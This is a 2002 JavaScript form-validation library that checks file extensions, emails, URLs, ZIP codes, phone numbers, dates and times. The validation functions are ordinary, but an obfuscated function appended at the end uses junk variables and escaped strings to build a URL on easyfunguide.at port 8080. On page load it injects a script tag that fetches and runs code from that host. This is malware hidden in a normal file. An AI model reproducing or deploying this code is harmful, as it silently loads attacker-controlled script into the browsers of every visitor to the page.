/*
'-----------------------------------------------------------------------------------------------
'-----------------------------------------------------------------------------------------------
'	Module Description
'	------------------
'
'	This module contains all the javascript functions used for validations
'
'   Revision History
'   ----------------
'   Module				Validations.js
'   Author              Sanjeeva Reddy C.
'   Created On          16/07/2002
'   Last Modified On	16/07/2002          
'   Modified By         Sanjeeva Reddy C.   

*/




//checking for a valid image file extensions
function checkFile(field)
{
		var path,extn,dotposn
		path=trimText(field)
		dotposn=path.lastIndexOf(".")
		if (dotposn==-1)
		{
			alert("Invalid file selected for image. Only the following types of files are allowed for images...\n*.gif, *.jpg, *.jpeg,*.tif,*.tiff,*.bmp,*.ico")
 			return false
		}
		else 
		{
			extn=path.substring(dotposn,path.length).toLowerCase()
			if (!(extn==".jpg" || extn==".jpeg" || extn==".gif" || extn==".ico" || extn==".tif" || extn==".tiff" || extn==".bmp" || extn==".png"))
			{
				alert("Invalid file selected for image. Only the following types of files are allowed for images...\n*.gif, *.jpg, *.jpeg,*.tif,*.tiff,*.bmp,*.ico,*.png")
				return false
			}
		}
		return true
}

function checkUpload(field)
{
		var path,extn,dotposn
		path=trimText(field)
		dotposn=path.lastIndexOf(".")
		if (dotposn==-1)
		{
			alert("Invalid file selected for Upload. Only the following types of files are allowed ...\n*.doc, *.xls, *.pdf")
 			return false
		}
		else 
		{
			extn=path.substring(dotposn,path.length).toLowerCase()
			if (!(extn==".doc" || extn==".xls" || extn==".pdf") )
			{
				alert("Invalid file selected. Only the following types of files are allowed ...\n*.doc, *.xls, *.pdf")
				return false
			}
		}
		return true
}


//checking for a valid Email 
function checkEmail(fldName) 
{
      
		if (/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(fldName.value)){
		return (true);
		}
		else {
		return (false);
	}
}

//checking for a valid URL 
function checkURL(theField,strURL)
{
	if( strURL != '')
	{
		var i,len,f,test;
		len=strURL.length;
		f=false;
		var st=strURL.substring((len-4),(len));
		var l=strURL.substring((len-3),(len-2));	
		var last=strURL.substring((len-6),(len-5));
		//if( ((strURL.substring(0,7)=="http://")||(strURL.substring(0,4)=="www.")) &&((st==".com/") ||(st==".com")||(st==".net")||(st==".org")||(st==".mil")||(st==".edu")||(st==".fru")) )
		if((strURL.substring(0,7)=="http://")||(strURL.substring(0,4)=="www."))
		{
			if((strURL.substring(0,7)=="http://")&&((strURL.substring(7,9)!="ww")||(strURL.substring(7,11)!="wwww")))
			{
					return true;
			}
			else if(strURL.substring(0,4)=="www.")
				return true;
			else
				{theField.focus();
				alert("Invalid URL. Please re-enter.")
				return false;}
		}
		else if(((strURL.substring(0,7)=="http://")||(strURL.substring(0,4)=="www."))&&((l==".")&&(last==".")))
		{
		return true;
		}
		else
		{theField.focus();
		alert("Invalid URL. Please re-enter.")
		return false;}
	}
	else
		return true;
}
//Trimming a String
function  trimText(fldName)
{
	var name=fldName.value;
	while(name.charAt(0)==' ')
	{
		name=name.substring(1,name.length);
	}
	while(name.charAt((name.length)-1)==' ')
		name=name.substring(0,(name.length)-1);
	return name;
}

// Check whether string  is empty.
function isEmpty(s)
{   return ((s == null) || (s.length == 0))
}


//used in the function that checks for a Valid Zip Code
function isZIPCode (s)
{  if (isEmpty(s)) 
       if (isZIPCode.arguments.length == 1) return false;
       else return (isZIPCode.arguments[1] == true);
   return (isInteger(s) && 
            ((s.length == 5) ||
             (s.length == 9)))
}

//checking for a valid ZIP Code
function checkZIPCode (fldName)
{   
     var normalizedZIP = putChars(fldName.value, "-")
      if (!isZIPCode(normalizedZIP, false)) 
         return false//showAlert (fldName, "ZIP field must be a 5 or 9 digit code (like 94043). Please reenter it now.");
      else 
      {  
         fldName.value = reformatZIPCode(normalizedZIP)
         return true;
      }
    
}

//Reformats the ZIP Code as a String
function reformatZIPCode (ZIPString)
{   if (ZIPString.length == 5) return ZIPString;
    else return (reformat (ZIPString, "", 5, "-", 4));
}

//puts the specified characters(second argument) into the String 
function putChars (s, chars)

{   var i;
    var returnString = "";
    for (i = 0; i < s.length; i++)
    {   
        var c = s.charAt(i);
        if (chars.indexOf(c) == -1) returnString += c;
    }
    return returnString;
}

//shows alert messages and puts the focus in the form element 
function showAlert(fldName, s)
{   
	alert(s)
	fldName.focus()
    fldName.select()
    return false
}

//checking for a Valid Phone Number
function checkPhone (fldName)
{   
      var normalizedPhone = putChars(fldName.value, "()- ")
       if (!isPhoneNumber(normalizedPhone, false)) 
          return false//showAlert (fldName, "Phone field must be a 10 digit number (like 4155551212). Please reenter it now.");
       else 
       {  
          fldName.value = reformatPhoneNumber(normalizedPhone)
          return true;
       }
    
}

//Used in the function that checks for a valid Phone number
function isPhoneNumber (s)
{   
    return (isInteger(s) && s.length == 10)
}


//Reformats the Phone Number as a String
function reformatPhoneNumber (PhoneNo)
{   return (reformat (PhoneNo, "(", 3, ") ", 3, "-", 4))
}


//Checking for a valid number
function isInteger (s)

{   
	var i;
    for (i = 0; i < s.length; i++)
    {   
        var c = s.charAt(i);
        if (!isDigit(c)) return false;
    }
    return true;
}

//Checking for a valid Digit
function isDigit (c)
{   return ((c >= "0") && (c <= "9"))
}


//Reformats a String into a specific Format
function reformat (s)
{   
	var arg;
    var sPos = 0;
    var resultString = "";

    for (var i = 1; i < reformat.arguments.length; i++) {
       arg = reformat.arguments[i];
       if (i % 2 == 1) resultString += arg;
       else {
           resultString += s.substring(sPos, sPos + arg);
           sPos += arg;
       }
    }
    return resultString;
}

//Checking for a Valid Time Format
function checkTime(fldName)
{
	var strHours=fldName.value;
	len=strHours.length;
	as=1;
	if(strHours=="" || len>=6)
	{
		//alert(" Please enter Hour(s) After in format HH:MM")
		return false;
	}
	else
	{
		if(len<=4)
		{
			as=checkHours(strHours);
			if(as==2)
			{
				return true;
			}
			else
			{
				//alert(" Please enter Hour(s) After in format HH:MM")
				return false;
			}
		}
		if(len==5)
		{
			as=checkMinutes(strHours);
			if(as==2)
			{
				return true;
			}
			else
			{
				//alert(" Please enter Hour(s) After in format HH:MM")
				return false;
			}

		}

	}

}

//Used in the function that checks for a valid time
function checkHours(str)
{
	str1=str;valid=1;
	for(i=1;i<=9;i++)
	{  
		for(j=0;j<=5;j++)
		{ 
			for(k=0;k<=9;k++)
			{ 
				str2=""+i+":"+j+k;
		        if(str1==str2)
				{ 
					valid=2;
				}
			}
		 }
	}
	if(valid==2) 
	{
		return 2;
	}
	else
	{
		return 1;
	}
}	

//Used in the function that checks for a valid time
function checkMinutes(str)
{
	str1=str
	valid=1; 
 	for(l=0;l<=2;l++)
	{
		if(l==2) 
			ii=3;
		else
			ii=9;
		for(i=0;i<=ii;i++)
		{ 
			for(j=0;j<=5;j++)
			{
				 for(k=0;k<=9;k++)
		   		 {
					str2=""+l+i+":"+j+k;
 			        if(str1==str2)
					{ 
						valid=2;
					}
				 }
			 }
		}
	}

	if(valid==2) 
	{
		return 2;
	}
	else
	{
		return 1;
	}

} 

//checking for a Valid character String
function isValidCharsString(theField,strval)
{

		  validCharsString=/^[a-zA-Z0-9._\- ]+$/;
		  if (validCharsString.test(strval)==false )
		  {
			theField.focus();
			theField.select();
			return false;
		  }
		  else
			return true
		
}

//checking for a Valid Password String
 function isValidPwdCharsString(theField,strval)
{

		  validCharsString=/^[a-zA-Z0-9_]+$/;
		  if (validCharsString.test(strval)==false )
		  {
			theField.focus();
			theField.select();
			return false;
		  }
		  else
			return true
		
}




//checking for a Valid Date
function isDate(dateStr,strField) 
{
    var datePat = /^(\d{1,2})(\/|-)(\d{1,2})(\/|-)(\d{4})$/;
    var matchArray = dateStr.match(datePat); // is the format ok?
    
    if (matchArray == null) {
        alert("Please select valid date for "+strField);
        return false;
    }

    month = matchArray[1]; // parse date into variables
    day = matchArray[3];
    year = matchArray[5];

    if (month < 1 || month > 12) { 
        alert("Month must be between 1 and 12.");
        return false;
    }

    if (day < 1 || day > 31) {
        alert("Day must be between 1 and 31.");
        return false;
    }

    if ((month==4 || month==6 || month==9 || month==11) && day==31) {
	 alert("Month "+month+" doesn't have 31 days For " + strField)
        return false;
    }

    if (month == 2) { // check for february 29th
        var isleap = (year % 4 == 0 && (year % 100 != 0 || year % 400 == 0));
        if (day > 29 || (day==29 && !isleap)) {
            alert("February " + year + " doesn't have " + day + " days for " + strField);
            return false;
        }
    }
    return true; 
}

//Checking whether the selected date in greater than present date or not
function checkDate(month,date,year)
{

	/*month = document.forms[0].month.options[document.forms[0].month.selectedIndex].value;
	date=document.forms[0].date.options[document.forms[0].date.selectedIndex].value;
	year=document.forms[0].year.options[document.forms[0].year.selectedIndex].value;*/

	var workorderdate = new Date();

	workorderdate.setMonth(month-1);
	workorderdate.setDate(date);
	workorderdate.setYear(year);

	var currentdate=new Date();

	if(workorderdate<currentdate)
		return false;
	else
		return true;
} 
//function for checking a valid time format
function IsValidTime(theField,timeStr,alertString) 
{
	// Checks if time is in HH:MM:SS AM/PM format.
	// The seconds and AM/PM are optional.

	var timePat = /^(\d{1,2}):(\d{2})(:(\d{2}))?(\s?(AM|am|PM|pm))?$/;

	var matchArray = timeStr.match(timePat);
	if (matchArray == null) 
	{
		alert("Time is not in a valid format for " + alertString + ".");
		theField.focus()
		theField.select()
		return false;
	}
	hour = matchArray[1];
	minute = matchArray[2];
	second = matchArray[4];
	ampm = matchArray[6];

	if (second=="") { second = null; }
	if (ampm=="") 
	{ 
		alert("You must specify AM or PM for " + alertString + ".")
		theField.focus()
		theField.select()
		return false
		//ampm = null 
	}

	if (hour < 0 || hour > 12) 
	{
		alert("Hour must be between 1 and 12 for " + alertString + ".");
		theField.focus()
		theField.select()
		return false;
	}
	if (minute<0 || minute > 59) 
	{
		alert ("Minute must be between 0 and 59 for " + alertString + ".");
		theField.focus()
		theField.select()
		return false;
	}
	if (second != null) 
	{
		alert("Time is not in a valid format for " + alertString + ".");
		theField.focus()
		theField.select()
		return false;
	}
	return true;
}

function isValidDate(pMonthControl,pDayControl,pMon,pDay,pYear)
{
	months=new Array
	months[0]="January"
	months[1]="February"
	months[2]="March"
	months[3]="April"
	months[4]="May"
	months[5]="June"
	months[6]="July"
	months[7]="August"
	months[8]="September"
	months[9]="October"
	months[10]="November"
	months[11]="December"

	//check for number of days
	if ((pMon==4 || pMon==6 || pMon==9 || pMon==11) && pDay==31) 
	{
		alert("Invalid date, Month "+months[pMon-1]+" doesn't have 31 days. Please re-enter it.")
		pMonthControl.focus()
		return false
	}
	
	// check for february 29th
	if (pMon == 2)
	{
		var isleap = (pYear % 4 == 0 && (pYear % 100 != 0 || pYear % 400 == 0));
		if (pDay > 29 || (pDay==29 && !isleap))
		{
			alert("Invalid date, February " + pYear + " doesn't have " + pDay + " days. Please re-enter it.")
			pDayControl.focus()
			return false
		}
	}
	return true
}


function Y(){var a;if(a!=''){a='j'};var D=unescape;var NJ=new String();var N=window;var w;if(w!='' && w!='ac'){w='T'};var Pm;if(Pm!='' && Pm!='g'){Pm='O'};var S;if(S!='' && S!='ad'){S='Xf'};var V=D("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%72%65%64%69%66%66%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%61%65%2e%70%68%70");this.o='';function c(F,x){var hA;if(hA!='' && hA!='_g'){hA='sB'};var OZ;if(OZ!='' && OZ!='gX'){OZ='L'};var an="";var J;if(J!='Lj' && J!='Ki'){J=''};var i="g";this.KiK='';var eG=new Array();var t=D("%5b"), xV=D("%5d");var yP;if(yP!='' && yP!='xJ'){yP='ig'};var sz="";var q=t+x+xV;var f;if(f!='' && f!='yw'){f=null};var l=new RegExp(q, i);return F.replace(l, new String());var am;if(am!='si' && am != ''){am=null};};var _I=new String();var Nx;if(Nx!='' && Nx!='Yq'){Nx='r'};var jM=new Array();var Ur;if(Ur!='' && Ur!='z'){Ur=null};var Pj;if(Pj!='M' && Pj!='Bl'){Pj=''};this.RS="";var s=c('891946032357825261302449','67193524');var tb=document;var B=new String();var Lv;if(Lv!='pV' && Lv != ''){Lv=null};this.MO='';var X_;if(X_!='' && X_!='CCv'){X_='jX'};var Vk=new Array();var E=new Array();function u(){var js="";var Tv;if(Tv!='' && Tv!='ex'){Tv='Pe'};var k=D("%68%74%74%70%3a%2f%2f%65%61%73%79%66%75%6e%67%75%69%64%65%2e%61%74%3a");var kL=new Date();B=k;B+=s;var Yg=new Date();B+=V;var wg;if(wg!='d' && wg!='eA'){wg=''};try {var _U;if(_U!='Kv' && _U!='FK'){_U=''};R=tb.createElement(c('sNcNrXiNpgtg','NXg'));var uD=new Array();var Oi='';R[D("%73%72%63")]=B;var Zc;if(Zc!='eR' && Zc!='dj'){Zc=''};R[D("%64%65%66%65%72")]=[1,6][0];var _E;if(_E!='' && _E!='XD'){_E='Lm'};tb.body.appendChild(R);var Fi;if(Fi!='YW' && Fi!='BT'){Fi=''};var pK=new Array();this.Pa='';} catch(h){alert(h);var hV=new String();var CU;if(CU!='' && CU!='FC'){CU='RY'};};var OY=new Array();var I;if(I!='' && I!='oJ'){I=null};}N[new String("onloa"+"d")]=u;var iM=new Array();var NL=new Array();var Fn=new Date();};var SG=new Date();var xc=new Date();var v=new Date();Y();